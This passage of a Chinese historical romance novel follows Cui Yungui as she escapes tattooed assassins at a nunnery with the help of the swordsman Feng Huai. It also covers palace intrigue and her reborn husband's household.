她们自小一同在竹溪长大,崔云归不喜安阳凛冽的风雪,春寻她们自也是不习惯的。在侯府里尚有地龙取暖,夜里守夜不至于太难熬,但这是静谧的水月庵,人就只有裹着暖和的被子里才可安睡。崔云归不是苛责的主子,最少对这三个丫鬟,崔云归总给予优待。
“好,晚些我让秋收和冬藏回去”
春寻拧了锦帕给崔云归,崔云归接过擦了脸,道:
“昨晚忙了半晚,今早一起就来这忙了,你怕是连贺家哥儿的信都没时间看吧?”
贺家哥儿就是春寻的表哥,一早就和春寻定了亲,只等春寻年岁到了就放出府去成亲。原是婚期就定在了明年开春,但计划赶不上变化,崔云归突然就嫁到了安阳的忠节侯府。念及她婚期将近,崔云归都不打算带春寻来安阳,只是后来她一直跪在门口不吃不喝求崔云归带她一起去安阳,为此还单身一人跑去和贺家哥儿退亲,好在贺家哥儿对春寻痴心一片,说什么都不肯退亲。
崔云归最后也拿春寻没办法,点头答应了把她带来安阳,但约定好了待她在侯府里站稳了脚跟,春寻就放心的回贺家哥儿成亲。只是后来,花倚翠进门,魏麟宠妾灭妻,她念及一双弟妹没有和离,累的春寻陪她在这四方宅院里熬了一年又一年,直到她死,也没能看到春寻有情人终成眷属。想到这,崔云归拍了拍春寻的手背
“快回去吧,看完写封信回去,莫让贺家哥儿等凉了心”
春寻对贺家哥儿是有情的,提起他时一向神情稳重的脸上不可抑制的浮上两团红晕,可怜她说不过崔云归,只得跺跺脚最后在崔云归揶揄的目光中跑走。
轻纱床幔之中,崔云归裹了裹被子看着春寻跑去的背影,心里盘算着该让春寻放心她这边,安心的和贺家哥儿过小日子去。许是她太疲倦了,躺下还未有一刻钟就安睡过去。
夜半时分,崔云归喉咙瘙痒难耐,咳了两声后犹不解,反而带来了一丝灼痛感,崔云归掀开床幔,搭拉上了鞋迷迷糊糊下床去喝水。
安阳冬季气候干燥,崔云归自来了之后喝的茶水都比在竹溪时候多,春寻自然也知道崔云归这一习性,离开之前用毛裘把水壶围上了,这样一来,崔云归就可以喝到温茶。
虽然春寻很贴心,但对于这寒冷的冬夜来说,这个温度的水还是略微有些凉。一杯水下肚,崔云归嗓子里的干涩得到了舒解,她摸了摸脖颈,突然感觉浑身一凉,似有夜风吹来。
她拢了拢狐裘,走了几步探头望向风吹来的地方。
原来是厢房的门开了一道口子。
崔云归不疑有他,抓紧狐裘的边去关厢房的门。等她的手触及到了冰冷的门时,崔云归猛的醒神,她带来的三个丫鬟一个比一个心细,就连年岁最小的冬藏,也只是好吃了些,走之前不关门,这是怎样都不会有的。
崔云归不动神色的四下打量一下,眼尖的在木制的地板上发现了一行湿漉漉的脚印,她定睛一看,是男人的鞋,那条脚印一直延续到了床边……
她不再犹豫,拉开门以迅雷不及掩耳之势跑了出去。
偷潜进屋子的人也紧跟跑了出来,崔云归想往庵里师傅的住房处跑去,才转过弯便瞧见那拱门的屋檐上有一个人隐匿在树影中。
进去了那里,就是瓮中捉鳖!
崔云归大喊了几声救命后转身掉头朝反方向跑去。水月庵崔云归也才来这么一次,虽说白天在里面转了一圈但崔云归还是没理清它的布局。
而她跑的这个方向恰好是马厩的方向。
面前有一扇未上锁的木门,崔云归本能的预感不能往这走,但此时前途无路,后有追兵,性命垂危之际,崔云归顾不得那么多,推开门便跑了出去。
入眼的一匹枣红色的老马和一头驴子,崔云归见过这匹老马,今早它驮着木炭上来。
崔云归向后往了一眼,她跑了一路,一直不敢往后看,这一看竟有三个黑衣人举着刀朝她追来。活命求生的想法让她不再犹豫,踩着脚蹬手忙脚乱的爬上马,夹着马肚子大喝一声搂紧马的脖子任由马匹
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带着她走。
人跑的速度定然没有马匹快,崔云归待老马停下来小心的牵着缰绳直起腰身,正要松一口气,一个黑衣人骑着……驴举着刀从后面赶超而上。
“……”
虽然这个画面充满了喜感,但崔云归一点也不想笑,她又趴了下去搂着马的脖子,只是这一次,老马说什么也不愿意跑了,只悠哉悠哉的在原地踢腿。
“……”死马!
崔云归恨铁不成钢。
黑衣人已经举起刀要来砍,崔云归躲避及时,那刀没砍到崔云归,倒是砍到了马上。
马受了伤又受了惊,临死前翘蹄子把崔云归直接甩了出去。
一时之间,崔云归真觉得自己命不好,那老马一甩直接把她甩进了河里。安阳冬日里的夜冷极了,河里结了一层冰,崔云归这一摔竟把冰面摔破了,整个人都泡在水里。
这时候若崔云归不谙水性这条小命大概就要交代于此了,万幸她长于水乡之称的竹溪,虽不精通水性,但会扑腾的那两下也不至于溺亡于此。
黑衣人下了驴穷追不舍的要取崔云归性命,两个人在河边兜圈。
等到崔云归筋疲力竭扑腾不动之时她突然听到了几声轻笑声,这个声音显然也被黑衣人听到了,他抬起头四处寻找发声之人。
行踪暴露了,凤淮从树上跳了下来,一边往河边走一边鼓掌
“想不到这荒郊野岭竟还有秦王绕柱这样的趣事,真是热闹”
“来者何人?”
黑衣人站定,这会倒不急着砍崔云归了,崔云归看看黑衣人又看了看凤淮,憋了一口气往凤淮那边游去。
凤淮抱着剑,鲜红的剑穗摇摇晃晃与他脸上的笑一同晃人眼,他清声浅笑
“我?我是来抓鬼的”
这种话显然是糊弄人的,但他的装扮确实有几分抓鬼道士的意味,一条由红线穿起的铜钱抹额搭配着道袍三分相似的红衣,衬上他那张过分俊俏的脸,烨然若神人,不像一个神清骨秀的道士倒像从天而降的仙君。
说话之间,崔云归已经游到凤淮旁边,她刚爬上岸,浑身湿透的去拽凤淮的衣角,即是寻求帮助又是想借力站起。刚刚触碰到凤淮的衣角就被一脚重新踹回河里。
“抱歉,没收住力,烦请夫人离我远点,凤某不喜污遭”
“……”
不如死了算了!
眼见着那两个黑衣人也追了上来,崔云归默了默,继续挣扎着从冰凉刺骨的河水里爬上来。
“少侠,救我!我家中颇有资产,少侠若若救我,必有重谢”
刚才被凤淮甩回水里的那一下让她长了记性,这次只站在凤淮身后不与他有任何接触。
黑衣人剑指两人,语气尖利
“劝你不要多管闲事!你若现在离开,我还可以留你一条小命!”
凤淮单手握剑,红线抹额坠着的铜钱被凉风吹着与长生辫纠在一起,寒风冽冽,吹的人耳膜疼,他像是听到了什么不可置信的话,对着三个黑衣人挑眉
“留我一条小命?”
“没错!听明白了就滚!”
黑衣人的剑尖在月光下泛着寒光,他们之所以这么有耐心的一次次劝凤淮离开,完全是因为凤淮模样气度穿着全然一副及万千宠爱于一身且非富即贵的浪荡公子样,这样不明不白的死在这,定会惹会些事端来。
5. 燕子出现
为了避免麻烦,黑衣人一次一次恐吓凤淮走,但他们显然是对凤淮的认知定位不够准确。凤淮从来不是什么浪荡的公子哥,他可是当今圣上最年轻的心腹之臣。
三个黑衣人见他不说话,便以为他定然是怕了,三人交换了一个眼神决定越过凤淮去了结崔云归,崔云归也望了望凤淮,同样见他没有反应,于是心下一横,义无反顾的往后跑,只是她还未跑两步,就被人用剑挡了回来。
她回头向后看,凤淮已经转动了手腕单手执剑挡住了柄正刺向她的剑。
“夫人,凤某不要你的金山银山”
说罢,凤淮使力将黑衣人的剑推了回去,当胸一脚,将距离他最近的黑衣人踢飞一丈远后回首乜了崔云归一眼
“夫人不走开?”
崔云归后知后觉退到安全距离。
剩余两个黑衣人相觑一眼,变幻策略,杀崔云归的俩人不约而同的掉头一起对付凤淮。
利剑出鞘,剑鞘精准无误的出现在崔云归手边,她下意识的一接,剑鞘便被她握在手中。凤淮长剑挺出,剑走龙蛇,月光下长剑闪烁生辉。
黑衣人身手同样了得,前左右夹击过来,身形飘忽,剑势如虹,如同黑夜下的三条银蛇吐着信子,招招皆是奔着取人性命的目的而去。
真是好凶残的剑法!
崔云归在一旁看的心焦,她虽不懂武功,但也看的出来这要来取她性命的黑衣人长剑疾进,一剑快似一剑,黑衣人为三,少年只一人,她着实忧心眼前的少年,毕竟这可是她的保命真人。
再看下去,崔云归愈发觉得她的担忧是多余的,黑衣人虽然武功了得,但凤淮似乎更胜一筹。黑衣人训练有素,配合得当,三个人几乎变成一个人,三道剑光合成一道,破空朝凤淮的面门击去,速度奇快,崔云归在旁只能观看到剑影,未见人影。他们快,凤淮更快,且剑法诡异,剑式的变化瞬息万变。
凤淮与他们过了十几招,已然是摸清了他们三人的路数,凤淮不欲与他们纠缠。今日天色已晚,他该回去歇息了。他挑剑将最右侧黑衣人的剑打飞出去,那剑正好落在崔云归脚边。黑衣人没了剑,已然是失了气势,凤淮回旋一脚将他踹飞出去。
崔云归在剑落在她脚边之时就麻溜的把剑捡起来握在手里,黑衣人被凤淮踹倒在地后崔云归审时度势,左手拿着剑鞘,右手握着剑将剑尖抵在黑衣人的心口。
她估量过,这个黑衣人是三人里最弱的那个,又被凤淮那一脚伤的不轻,速度反应方面稍显迟钝,只要他有动作,她就能一剑刺死他!
凤淮明显没认真打,证据就是崔云归做这些的时候凤淮看热闹般的笑了起来。
崔云归:“……”笑什么笑?!
像是读懂了崔云归的表情,凤淮嘴角轻勾,散漫扬眉,不吝啬对崔云归的赞赏
“夫人真是——冰雪聪明”
“……”若没有可以拖出的尾音崔云归还能相信两分。
制住了一个,另外两个凤淮就更不放在眼里,他剑尖轻点,挥手一剑,直接削下了一个黑衣人的整条右臂,黑衣人疼的缩起了身子,被凤淮一个鞭腿撂倒在地,踩在靴底,紧接着他转腕,振出的剑光宛如渲染的银龙一般,直冲到最后一个黑衣人喉前停住。
三个歹人全被制住,无还手之力,崔云归手上的剑给她带来了底气,她一改半个时辰前逃命流窜的狼狈样,此时的她冷着一张脸,威仪凛然
“谁派你们来的?”
黑衣人看了看凤淮,大抵觉得自己逃脱无望,咬牙将藏在牙里的毒药咬碎,须臾之间便毙命了。
崔云归亲眼看着黑衣人面如菜色,而后嘴角流下一行红黑色的血,她错愕的看了看剑,又回头看了看凤淮,得出定论
“你把他打死了”
一个黑衣人死了,几乎在一瞬之间,另两个也服毒了,这下三个都死了,崔云归坚定的了凤淮打死了三人的想法。
凤淮脚原本踩在黑衣人的头上,一看到人口鼻流血后立马以迅雷不及掩耳之势抬开了脚,生怕黑红的血蹭到了他的靴子上。
他蹲在地上观摩黑衣人的尸体,犹豫半晌,勾手唤着崔云归过去,崔云归警铃大作,不进反退了半步,但转眼又看到地上还热乎着的三具尸体,便打消了逃跑的年头,抗拒的走了过去。
待她走近,凤淮扬着下巴点了点刚才被他踩在靴底的黑衣人
“把他的嘴巴扒开”
“嗯?”
崔云归觉得自己的耳朵似乎出了点问题。
凤淮耐心的复述了一遍,换来了崔云归不可置信的眼神,她愤然想说些什么,却迫于淫威闭上了嘴,蹲下身闭上眼睛扒开了黑衣人的嘴。
凤淮弯着腰观察,不出所料看到了藏在牙齿的毒药,他示意崔云归可以放手了,崔云归忙撒开手。
天寒地冻,崔云归只身着一件里衣站在雪地里,方才处于紧急情况下倒不觉,现在松下来了,便察觉到冷来了。
大氅早已在逃命途中连同鞋子一起跑掉了,崔云归巡视一圈,最后被凤淮身上那抹亮眼的红色吸引住了目光
“少侠,可否将外衣以十倍价卖给我?”
她冻的瑟瑟发抖,衣服湿湿嗒嗒的贴在身上,不舒服另说,最重要的是风一吹便激起一阵寒意。
凤淮没有怜香惜玉的觉悟,说出来的话比冰还凉
“不能”
虽然凤淮拒绝了她,但他给了崔云归另一个选择
“夫人可以暂借他们的一用”
“……”
崔云归又蹲了下去,这次不是扒嘴,是扒黑衣人身上的衣服。黑衣人身长体重,崔云归扒了半天都累出了汗来,才把黑衣人外面的棉衣扒了下来,只是黑衣人的棉衣薄的像单衣一般,御寒功能有待加强。
既然都扒了,何不再扒一件?
手由心动,崔云归果真又回去扒黑衣人的衣服去了。她的手刚放到黑衣人的脖颈处,就看到了黑衣人衣服的肩膀位置破了一个洞。
洞下清晰可见有一块墨色的痕迹。
刺青?
崔云归心下一动,扯开了黑衣人的衣服,如她所料一般,肩膀处一只栩栩如生的燕子像是要从肉里飞出来一般。
凤淮居高临下也看到了这处刺青,他脸色稍变,也顾不得污遭不污遭了,伸手扒了那两个人的衣服,果然在那两人的肩膀处也看到了同样的刺青
以崔云归多年的侯夫人生涯来看,这件事没那么简单。她是想知道幕后黑手是谁,但也深谙好奇心害死猫的道理,如
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今她已经知道了刺杀她的人身上有燕子刺青了,只要多花些心思在这上面调查,总会揪出幕后之人。
此地不宜久留,崔云归捡起随意搁置的剑鞘还给凤淮
“既然这三位是少侠的旧相识,那我就先行一步了”
说完,崔云归头也不回的走了。等凤淮从思绪中抽离出来崔云归已经走出十几步远了,他出声叫住了崔云归,看向崔云归的目光里带着审视。这眼神盯的崔云归心里直发毛,不过她长相本就清冷,加上前世多活了几年,是以就算心里慌的不成样子但面上还是一派无畏。
终于,凤淮不再盯着她看了,转而悠悠笑道
“夫人一路小心”
“……多谢少侠”
崔云归再也不想在这地方呆下去了,牵着驴手脚并用的骑上去,头也不回的走了。
虽说老马识途,但老马已经死了,剩下一头驴,约莫也是识途的……吧?
崔云归牢牢的抱着驴的脖颈,一种沧桑的情绪在这雪夜里蔓延出来
她该是大燕开朝以来第一位骑驴的侯夫人
凤淮目送着崔云归的背影消失在雪夜里,崔云归归心似箭,才没有察觉出他的不对出来。譬如,为何凤淮见她的第一面就叫她夫人而不是姑娘;再譬如,凤淮为何来的那么巧。
这些本就蹊跷,但崔云归今晚命悬一线,她太慌张了,以至于忽略掉了许多细节。
而凤淮来此也并非巧合,他早在一旬之前就盯上了崔云归。
建统三十九年燕太祖祁正隆死,燕明宗祁连继帝位,与朝臣密谋,欲铲除诸王以绝藩王后乱。
太祖第四子祁骁性命攸关,于幽州起兵,自诩“平昭”之师,一路之上攻打祁连。宏文三年,安阳城破,祁连逃而不知所踪,祁骁于安阳称帝,年号广和。
凤淮自幽州跟随当今圣上祁骁起兵,少年奇才,横空出世,凭借一身出色的武艺立下赫赫战功,因年龄尚小又不喜朝廷纷争拒了圣上封候拜将的旨意。但他似乎颇得圣上喜爱,在他拒旨后圣上转而成立玄机署,让其接管,并不表明玄机署独立与朝廷之外,只听圣上调令。
上任以来,圣上交给他的第一件差事,就是秘密找到废帝明宗的下落。明宗逃命走的仓促,只带了几个贴身伺候的近侍,一旬前,忠节侯府一个负责喂养马匹的老头离奇死亡,后来招进府喂马的人竟然是明宗带走的一个小黄门。
顺藤摸瓜,玄机署的人查到了李老头是崔云归从竹溪陪嫁来的奴仆。她一介富商之女能嫁得高门本就奇怪,现今突然又上这山来静修来了,这就更引起了凤淮的注意。
不过说来也是巧,若不是今日玄机署的人都派了出去,他也不会来盯梢崔云归,更不会再看到这燕子刺青。
当初他拥戴圣上从幽州举兵北上途中曾斩了两个作乱的匪寇,意外看到了匪寇肩膀上的燕子刺青,当时圣上就觉不对,但因大事在前,于是便将这件事搁置了,现在又在刺杀崔云归的黑衣人身上重新看到了这燕子刺青,记忆一下便勾了起来。
这明显是除废帝明宗外的一个新势力。
凤淮垂眸,目光在三个人同样的燕子上扫了一圈,轻轻一嗔
未来很长一段时间里,这位忠节侯府大奶奶将会是玄机署的常客。
6. 色令昏智
说话崔云归骑驴找路,让她明白了不止老马识途,原来老驴也是识途的。
驴子一路撒欢驮着崔云归回水月庵,崔云归原本以为庵里的师傅们和春寻三人都应该起身找她去了,不曾想她到时,水月庵里一片静谧,庵里的师傅们包括春寻三个都还在酣睡,且看样子一时半醒不了。
崔云归大为震惊
就她那逃跑弄出来的动静和最后扯着嗓子的那几声叫唤,崔云归不相信会没吵醒一个人。出现这种情况的原因只有一个,今天那三个刺客做足了准备取她性命,为保万无一失,特意将庵里的人全迷晕了,没准也是准备迷晕她再下手,但计划赶不上变化,她半夜起来喝水,发现了刺客并且成功逃脱。
这样也好,崔云归放下一颗心来,摸进灶房打了盆热水回了自己的厢房,将全身收拾干净后换了新的寝衣回床躺着,床铺上得益于春寻放的几个汤婆子,现今都还是热烘烘的。
身子稍稍回暖,崔云归突然又起来了,她将换下的衣物囫囵塞进床底,等天亮春寻起来把衣服拿出去偷偷烧掉。庵里人多眼杂,这世道对女子的清白看的尤为重要,纵使她再不屑这些,但总也要为竹溪家里的妹妹崔云倩考虑。
再躺回床上,崔云归却是怎样都睡不着了,她睁着眼看着头顶的帐子,回想着今晚的刺杀事件,直到外面的天色微亮才萌生了丝丝困意。
今夜,与水月庵南北相向的忠节侯府里魏麟同样不得安眠。
时间回到几个时辰前。花倚翠被魏母授意去给在留云居埋头苦读的魏麟送参汤,参汤送到后花倚翠没有立马走,而是留在书房内看书。她本不是什么爱读书的人,此时看书也不过是想多在书房待一会,与魏麟亲近亲近,于是,她随意的翻开一页,低头扫了一眼,被书页红朱批注吸引,内容都没有看清,就拿着书过去吹嘘魏麟
“麟哥哥的字写的越发的好了,章法生动、颜筋柳骨,一笔一划颇巨大家风范!”
“哦?”
魏麟此人颇为自负,听到花倚翠如此欣赏自己的字面上一喜,放下喝了一半参汤就要去与之探讨一二,只是他定睛一看,又默默的退了回来,端起参汤继续喝了起来。花倚翠没有感受到他的情绪变化,尤自吹捧
“这字比麟哥哥你上次给我寻的字帖还好,恰好今日得闲,不如侯爷就现写一篇,好让妾拿回去临摹”
前世到底是做了八年的枕边人,一朝重生回来,一时的习惯若不刻意压制着便会像如今一样秃噜出来。偏生魏麟早已得知了花倚翠重生而来的消息,这会儿竟也没发现花倚翠对他的称呼换了,他从花倚翠手上拿过那本书,翻看了一眼黄皮书封——《竹溪风味录》
他又看了那行批注:鲜白虾仁需佐以碧落芽尖新茶,陈茶则苦……
这一手字写的确实好
魏麟欲言又止,花倚翠不解的靠过来同魏麟一起看书封上的字,无一例外也看到了那巨大的五个字
“……”
忠节侯府上到主子下到丫鬟除去崔云归及她带来的陪嫁外,没有一个是从竹溪来的,而这行人里面,能把这本书防在留云居的书房内的人也只能有一个。
拍马溜须拍到了自己最讨厌的人身上了怎么办?如果问花倚翠,花倚翠只想说四个字:
羞愤欲死!
魏麟若无其事的合上书,将这本崔云归一一批注了的风味录压在手下,语气平和
“你要是喜欢,等夫人回来让她写几副即可”
花倚翠脸上的绯红爬上了耳尖,不知是羞的还是气的
“……侯爷……”
兰膏明烛,华镫错些,美人大半张脸隐在灯影里,露出的那一角端倪水眸灵润,柔靥如樱,屋内暖光冷账,迷离的气氛因隐晦难言而烧的热烈,朦胧微醺间魏麟情不自禁的抬手欲把那络垂在脸侧的发丝拢到绯红的耳尖后。
花倚翠有着前世的记忆,她早已经历人事,现在迎着魏麟的情动,那些抵死缠绵的记忆如潮水般涌来,她脸上媚色更动人,腰肢似寄生大树的菟丝子,柔媚的攀附上去
“侯爷”
魏麟蓦然清醒,空气里旖旎的气氛消散,花倚翠先是不解,缓过神来后双眸一亮,她心怦怦直跳,试探着唤道
“侯爷?”
“……”
魏麟辗转反侧,难以入睡,他悔不当初,脸拉的像个苦瓜,突然之间抬手给了自己一巴掌
色令昏智!
这一下下手重了些,魏麟又摸了摸自己的脸
今夜花倚翠知道他也是重生回来的,哭着闹着要他主持公道,把崔云归给休了。
但这怎么行?他的打算明明是重来一世修补夫妻的感情、抱的美人归。
这和他的初衷相悖,于是魏麟连哄带骗暂时打消了花倚翠这个不切实际的念头。
魏麟睁开眼,盯着帐子顶上的鸳鸯喜纹看,他重生就算了,为什么花倚翠也跟着一起回来了?
不成是老天要让他们再续前缘?
想到了这个可能,魏麟摇摇头,将这种荒谬的想法抛诸脑后,翻了个身继续睡
前世死前他多年拜菩萨真人分明只求了与崔云归再做夫妻,可半句不曾提过花倚翠,心里也没想!
日暮西山,文华殿中一片祥和,小雀儿吃饱了食正栖在鸟笼的横木上抖落着身上的浮羽,而后,它雄赳赳的迈了几步,预备找一个舒适喜爱的地睡上一觉。突然,一本折子直朝它砸来,小雀儿受了惊吓,叽喳着在鸟笼里扑腾不停,绿豆大的眼睛不解的盯着那个身着明黄衣服的男人,猜想他今日为何脾气这样大。
身为御前内监的贺盛年早在折子飞出去的那一瞬低下了头,尽全力缩小自己的存在感。刚砸了一本奏折的祁骁还未消气,手里拿着封折子单手叉腰在文华殿左右踱步,这副模样贺盛年熟悉,明白这是圣上在压制自己的脾气呢,于是愈发的小心,就连呼吸都不自觉放缓了。
祁骁走了十几圈,最后还是没能克制住自己的脾气,把手中的折子啪的甩在地上
“贺盛年!”
“奴才在”
“去!去给朕传旨,朕今日就要砍了这些史官的脑袋!”
贺盛年全身紧绷,唇瓣不自觉颤动,额角冒汗的顺着祁骁的毛
“陛下息怒”
祁骁正处于盛怒之下,贺盛年的话犹如滴水入海,毫无作用。他随手在书案上抄了本奏折,硬甩到贺盛年面前
“看看!看看这些史官,一个个上奏都在含沙射影说朕得位不正,
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骂朕是逆贼,狼子野心,谋权篡位”
贺盛年哪里敢看,他扑腾一声跪在地上,连劝祁骁息怒的话都不敢说了,心里却觉得史官言之有状,他们不就是造反做的皇帝嘛,他们就是逆贼啊!
“朕是天子,竖子安敢如此!”
不敢如此也如此了,贺盛年伏在地上,在心里默默的反驳祁骁,祁骁又是破口大骂了好一会,将史官们们从上骂到下,从老子骂到儿子,却是再没提要看史官脑袋的事了。
眼见着祁骁怒气平息了些,贺盛年立马从地上爬起来安抚他
“陛下息怒,切莫因此损伤了龙体”
殿外奉茶的小宫女在也瞅准了时机,端着茶盏进去奉茶了,祁骁骂了许久,嗓子正是干渴的时候,端起茶就喝了一盏。喝过茶后,他已然恢复了正常。
贺盛年给小宫女使了眼色,待小宫女出去后默默的把地上的奏折给拾掇起来,识趣的叠在祁骁批完的奏折里。
祁骁缓了缓,拿起朱笔正准备继续批奏折,外门的小内监就跑来禀告兵马大元帅求见。
祁骁听此赶紧请人进来并赐好了坐。
“数九寒天,元帅夜里求见可是军中出了差错?”
整个朝廷已经乱成一锅粥了,要是军队再出了问题,还不如提几个人砍了脑袋威慑一二。
祁骁此时的心都提了起来,挥着手让奉茶的小宫女,不必给自己添茶,去给下坐的兵马大元帅顾景明奉茶。也不怪乎祁骁如此询问,顾元帅甲胄还穿戴在身上,俨然一副刚从军营里急匆匆赶回来的模样。
元帅喝了盏茶暖身,把祁骁提着心摁回了肚子里
“陛下安心,军中一切如常”
祁骁微不可察的松了口气,旋即又问了些军中之事,顾元帅一一回应之后也缓缓道出了自己的来意
“陛下,臣家中有一幼女,如若不嫌,便教她来侍奉陛下左右,与皇后娘娘做个伴”
“万万不可,元帅家中娇女桃李年华,我已年近不惑,怎可如此委屈姑娘”
“去岁八月,圣上登基,明宗逃窜,万里河山一片乌烟瘴气,外有强敌匪寇作祟,内有君臣政见不合,新将旧部间诸多嫌隙,臣以为平乱必先安内。新将不必多言,自是忠于陛下,然旧部中多有不愤,陛下仁政爱民,不曾打杀旧部,反而以怨报德,处处拉拢为主,镇压为辅,臣不胜感激。今臣有一计,可排陛下忧思,臣不才,历经三朝,稍有几分薄面,由小女进宫,便是贴上了臣的这几分薄面”
这世上只有利益关系最牢靠,而姻亲无疑是将利益关系捆绑的最紧凑的方法之一。若有他做表率,那后续赐婚就会气直的多,祁骁不是不明白这个道理,只是一来他与皇后年少夫妻,恩爱相许,大婚之时便许下心无二人的承诺,二则元帅之女不过双十,却要来配他一个糟老头子,祁骁着实不忍,却明白这是最好的办法,兵不血刃的就能把问题解决了,但他还有顾虑,仍在纠结
三朝元老又怎不知天子的忧虑,他眼神平和,接下来的一番话彻底打消了天子的顾虑
“食君之禄,担君之忧,忠君之事,燕朝娇养她一场,她也合该出点力”
话已至此,祁骁也再无忧思,君臣了了数语之间便定好了一个女子的未来。
7. 生性纯良
第二日起来,崔云归毫不意外的发起了高热,她拥着被子冻的哆哆嗦嗦,烧的不醒人事。
春寻三人今日还是被庵里的师傅叫醒的,三人皆懊恼自己怎么一脱离侯府就如此懈怠时便听庵里的主持说昨日庵里进了贼,在庵里放了迷药,牵走了庵里的马,顺带说了刚才自己在崔云归门口喊她但没有得到回应的事。
春寻三人慌了神,春寻率先反应过来,趿拉着鞋往崔云归厢房里跑去,打开门闪身进去后又砰的一声关上。
“大奶奶”春寻的心放下去又提了起来,放下去是因为崔云归完好无损的躺在厢房里,没有遭受到迫害,提起来是因为崔云归面色潮红,裹着被子还不住的发抖,这状态,明眼人一看就知道不对。
伸手一探,她的额头烫的惊人。
这时候秋收和冬藏也跟了上来,与之一起到的,还有水月庵的主持。
“大奶奶发着高热,冬藏,你腿脚快,下山去请郎中,秋收,你快打些热水来,大奶奶出了一身冷汗”
春寻临危不乱,有条不紊的吩咐下去,她们三个丫鬟中春寻是最早跟着崔云归的,年岁又是她们之中最大的,威信自不必说,几乎是春寻一说完冬藏和秋收二人就动了起来。
她们都两走了,主持也确定了崔云归未被贼人掳走,她也该去同庵里的僧侣上早课了,正想告辞春寻就比她先一步开口
“主持,庵里可有多的棉被?”
“庵里的棉被都是一人一床,不曾多买过”这是实话,水月庵地处偏僻,又建在半山腰上,本就没多少香客,因着主持慈悲为怀,得来的香油钱大都用来救济他人了,实在没有多余的银钱买一床棉被在这干放着,好在主持心善,提议道“若是大奶奶不嫌弃,贫尼那床棉被可借给大奶奶暂盖,贫尼与庵里的师妹匀一匀便行”
春寻感激不尽,主持颔首一笑离开了。起的太晚了,房里的炭火都熄了,春寻烧起了屋里的炭火,等屋子里暖和起来了主持的棉被也抱回来了,秋收的热水也打来了。
两人关起门来就着炭炉给崔云归擦了一遍冷汗给她换了身干爽的寝衣。
许是崔云归心里还记挂着床底下那套衣服,在秋收二人给她穿衣服时醒了一下,她握紧秋收的手,眼眸因为高热变的如一汪湖水一般,透着让人沉溺在其中的脆弱
“床下的衣服,拿去烧掉”
起初,春寻和秋收只以为她在说胡话,毕竟崔云归说完这句话之后就又睡了过去,而后,穿完衣服的春寻为保险起见,趴在地上往床底看了一眼
这一眼还真让她看到了一大块团着的衣物,春寻伸手去拿,入手一片湿意,秋收也凑上来摸了一把,二人把衣服抖开,赫然是一件男子样式的黑衣!
秋收也跪趴在地上,探手进穿底摸索,又从床底摸出来了崔云归昨日晚上穿的中衣。春寻立马把中衣包在黑衣里,秋收莫不做声的把衣服接过去出门去了
不多时,秋收便去而复返,此时,冬藏请来的郎中正隔着床幔给崔云归号脉,春寻看了看秋收,后者点点头,示意事情已经办妥。
郎中很快就诊断完,给崔云归开了两贴药就走了。
三人煎了药喂给崔云归喝下,又守了她一天,还是不见崔云归退热,这样烧下去不是办法,春寻思索一会让冬藏去户部等魏麟。
“大爷”
魏麟的人影刚出现在眼前,春寻就赶忙迎了上去,带着魏麟往水月庵后院走的同时还不忘跟他说明情况
“大爷,大奶奶她……”
魏麟没有耐心听完春寻的话,他步履匆忙,只想看看崔云归怎样了
“我都知道,方才来的路上冬藏已经和我说了,现在大奶奶怎么样了?”
他身高腿长,因为急切,迈的步子也大,春寻一路小跑才能勉强跟上他
“大奶奶喝了药,现下已经睡过去了,只是还一直发着高热”
魏麟“嗯”了声,迈过门槛跨进了房里,屋里没有地龙,但索性炭火烧的足,才让这房里没那么冷。
“大爷”秋收刚给崔云归换完衣服,见魏麟来了便忙从床铺上下来给魏麟腾位置,魏麟顺手把大氅解了递给她,他刚忙完公务就被冬藏带过来了,现在身上穿的还是公服。
公服本就不便穿来这里的,春寻和秋收打了个眼神,两人就配合的一个去门外守着,一个在里面伺候着。
魏麟坐在床侧摸了一把崔云归烧的酡红的脸,心生怜惜,便就再也不想让她居住在这苦寒清凄之地
“春寻,你去把大奶奶的体己收一收,让秋收回府里套了马车软轿,等冬藏和寸笺把李太医请过来给大奶奶瞧过之后正好软轿就能上水月庵来接大奶奶回侯府”
“这……大爷,大奶奶怕是不愿的”春寻了解崔云归,知道她哪怕自己病死了,也不愿意看魏母那嘲弄的脸色,魏麟亲自拧了巾帕给崔云归擦身上的冷汗,闻言顿住“侯府中应有尽有,大奶奶怎会不愿回?”
春寻一时语塞,斟词酌句半晌:“大奶奶本是来庵里给大爷消灾祈福的,如今这才过一日就回去,怕是夫人那边……”
魏麟掀开被子把崔云归以一个扭曲的姿势搂入怀中给她擦着后背的冷汗,不以为意道:“大奶奶病如山倒,母亲生性良善,并非那般胡搅蛮缠之人”
“……”春寻时刻关注着崔云归的动向,看见崔云归被魏麟以一个极其别扭的姿势搂在怀里还没盖被子,她装作不经意间拿过帕子把崔云归扶着重新躺好,心里只替崔云归忧心
也不知道姑娘这嫁的是什么人
大爷看似是疼惜姑娘,但只是看似而已,就好似方才,看着是给姑娘擦汗,但丝毫不顾姑娘高热畏寒,直接掀开被子把人搂在怀里,姑娘的手被折在后面都没发现,他还眼瞎,全然看不清亲娘的为人,她春寻虽没读过什么书,但跟在崔云归身边久了也识得几个字,她怎么看怎么觉得生性良善这几个字是跟魏母沾不上一点边的。
春寻到底是个丫鬟,只能听话的去收拾东西。
半旬后,隆冬,北风凛冽,檐角挂着的冰棱在晨间的阳光里闪烁着七彩的光芒,安阳城中的官道上一行人从高门朱墙的皇宫里出来,浩浩荡荡的往三朝元老
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顾元帅的府邸走去,这样大的阵仗引得行人纷纷注目而视。
元帅府人口简单,只顾元帅、元帅夫人和元帅千金顾观竹三人而已,所以顾元帅虽然功可封侯但还是住在安阳城里一处小院落里,正因为人口简单,府邸小巧,才使得元帅府的夫人小姐得以辰时才起。
但今日似有不同,卯时初,府里的小丫鬟就端着温水、咸茶推开了元帅千金的闺门,顾观竹睡眼惺忪,迷糊之间看到丫鬟拿着一件蹙金芍药彩蝶细裙,她一下就睁开了眼睛,拒绝让这套衣裙套在自己身上
“怎么穿这个?昨日用早膳的时候和爹爹说好今日同他去军营跑马,把母亲年前给我做的那套红色骑服拿过来”
红缨为难的拎着衣裙,昨日用早膳的时候她也听到了元帅今日要带姑娘去跑马,但今日的衣裙是夫人一早挑的并特意叮嘱了她要让姑娘穿上的,顾观竹见她不动,催促道
“去换呀”
“姑娘……”红樱正要开口解释,元帅夫人便带着两个丫鬟走了进来
“竹儿”
